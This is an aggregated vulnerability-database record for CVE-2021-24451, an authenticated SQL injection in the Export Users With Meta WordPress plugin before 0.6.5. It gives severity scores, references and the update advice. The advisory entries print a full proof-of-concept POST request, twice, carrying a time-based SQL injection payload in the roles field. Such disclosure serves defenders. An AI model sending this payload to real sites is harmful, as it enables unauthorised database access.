The Export Users With Meta WordPress plugin before 0.6.5 did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.
{"id": "CVE-2021-24451", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24451", "description": "The Export Users With Meta WordPress plugin before 0.6.5 did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.", "published": "2021-07-06T11:15:00", "modified": "2021-07-09T15:20:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24451", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/40603382-404b-44a2-8212-f2008366891c"], "cvelist": ["CVE-2021-24451"], "immutableFields": [], "lastseen": "2022-03-23T14:54:55", "viewCount": 13, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:40603382-404B-44A2-8212-F2008366891C"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:40603382-404B-44A2-8212-F2008366891C"]}], "rev": 4}, "score": {"value": 3.2, "vector": "NONE"}, "twitter": {"counter": 2, "modified": "2021-07-07T07:46:53", "tweets": [{"link": "https://twitter.com/threatintelctr/status/1413521049531060226", "text": " NEW: CVE-2021-24451 The Export Users With Meta WordPress plugin before 0.6.5 did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, lea... (click for more) Severity: HIGH https://t.co/M6yPFqa48p?amp=1"}, {"link": "https://twitter.com/threatintelctr/status/1413521049531060226", "text": " NEW: CVE-2021-24451 The Export Users With Meta WordPress plugin before 0.6.5 did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, lea... (click for more) Severity: HIGH https://t.co/M6yPFqa48p?amp=1"}]}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:40603382-404B-44A2-8212-F2008366891C"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:40603382-404B-44A2-8212-F2008366891C"]}]}, "exploitation": null, "vulnersScore": 3.2}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-89"], "affectedSoftware": [{"cpeName": "export_users_with_meta_project:export_users_with_meta", "version": "0.6.5", "operator": "lt", "name": "export users with meta project export users with meta"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:export_users_with_meta_project:export_users_with_meta:0.6.5:*:*:*:*:wordpress:*:*", "versionEndExcluding": "0.6.5", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/40603382-404b-44a2-8212-f2008366891c", "name": "https://wpscan.com/vulnerability/40603382-404b-44a2-8212-f2008366891c", "refsource": "CONFIRM", "tags": ["Exploit", "Vendor Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-09-14T23:42:30", "description": "The plugin did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.\n\n### PoC\n\nPOST /wp-admin/users.php?page=uewm_settings HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------91314853327906118943368521591 Content-Length: 1309 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_roles[]\" editor'%20AND%20(select*from(select(sleep(10)))a)+' \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_use_custom_csv_settings\" 1 \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_field_separator\" custom \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_custom_field_separator\" = \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_text_qualifier\" double-quote \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"uewm_custom_text_qualifier\" \" \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"save\" Save changes \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"_wpnonce\" 0c475bfd14 \\-----------------------------91314853327906118943368521591 Content-Disposition: form-data; name=\"_wp_http_referer\" /wp-admin/users.php?page=uewm_settings \\-----------------------------91314853327906118943368521591-- \n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-21T00:00:00", "type": "wpvulndb", "title": "Export Users With Meta < 0.6.5 - Authenticated SQL Injection", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24451"], "modified": "2021-08-10T07:04:09", "id": "WPVDB-ID:40603382-404B-44A2-8212-F2008366891C", "href": "https://wpscan.com/vulnerability/40603382-404b-44a2-8212-f2008366891c", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "patchstack": [{"lastseen": "2022-06-01T19:31:52", "description": "Authenticated SQL Injection (SQLi) vulnerability discovered by Asif Nawaz Minhas in WordPress Export Users With Meta plugin (versions <= 0.6.4).\n\n## Solution\n\n\r\n Update the WordPress Export Users With Meta plugin to the latest available version (at least 0.6.5).\r\n ", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-21T00:00:00", "type": "patchstack", "title": "WordPress Export Users With Meta plugin <= 0.6.4 - Authenticated SQL Injection (SQLi) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24451"], "modified": "2021-06-21T00:00:00", "id": "PATCHSTACK:18CB3704F8AA5C9E8C3B01DEDB3C62D7", "href": "https://patchstack.com/database/vulnerability/user-export-with-their-meta-data/wordpress-export-users-with-meta-plugin-0-6-4-authenticated-sql-injection-sqli-vulnerability", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "wpexploit": [{"lastseen": "2021-09-14T23:42:30", "description": "The plugin did not escape the list of roles to export before using them in a SQL statement in the export functionality, available to admins, leading to an authenticated SQL Injection.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-21T00:00:00", "type": "wpexploit", "title": "Export Users With Meta < 0.6.5 - Authenticated SQL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24451"], "modified": "2021-08-10T07:04:09", "id": "WPEX-ID:40603382-404B-44A2-8212-F2008366891C", "href": "", "sourceData": "POST /wp-admin/users.php?page=uewm_settings HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: multipart/form-data; boundary=---------------------------91314853327906118943368521591\r\nContent-Length: 1309\r\nConnection: close\r\nCookie: [admin+]\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_roles[]\"\r\n\r\neditor'%20AND%20(select*from(select(sleep(10)))a)+'\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_use_custom_csv_settings\"\r\n\r\n1\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_field_separator\"\r\n\r\ncustom\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_custom_field_separator\"\r\n\r\n=\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_text_qualifier\"\r\n\r\ndouble-quote\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"uewm_custom_text_qualifier\"\r\n\r\n\"\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"save\"\r\n\r\nSave changes\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n0c475bfd14\r\n-----------------------------91314853327906118943368521591\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wp-admin/users.php?page=uewm_settings\r\n-----------------------------91314853327906118943368521591--\r\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}